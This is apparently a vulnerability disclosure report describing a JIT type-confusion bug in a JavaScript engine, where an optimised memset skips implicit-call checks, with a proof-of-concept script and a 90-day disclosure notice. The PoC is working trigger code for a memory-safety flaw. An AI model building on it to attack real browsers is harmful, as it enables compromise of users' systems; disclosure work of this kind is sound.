function opt(a, b, v) {
    if (b.length < 1)
        return;

    for (let i = 0; i < a.length; i++)
        a[i] = v;

    b[0] = 2.3023e-320;
}

The above JavaScript code is JITed as follows:

... CHECKING THE TYPE OF B ...
OP_Memset(a, v, a.length);
b[0] = 2.3023e-320;

But there's no ImplicitCallFlags checks around OP_Memset. So it fails to detect if the type of "b" was changed after the "OP_Memset" called.

The PoC shows that it can result in type confusion.

PoC:
function opt(a, b, v) {
    if (b.length < 1)
        return;

    for (let i = 0; i < a.length; i++)
        a[i] = v;

    b[0] = 2.3023e-320;
}

function main() {
    for (let i = 0; i < 1000; i++) {
        opt(new Uint8Array(100), [1.1, 2.2, 3.3], {});
    }

    let a = new Uint8Array(100);
    let b = [1.1, 2.2, 3.3];
    opt(a, b, {
        valueOf: () => {
            b[0] = {};
            return 0;
        }
    });

    print(b[0]);
}

main();


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.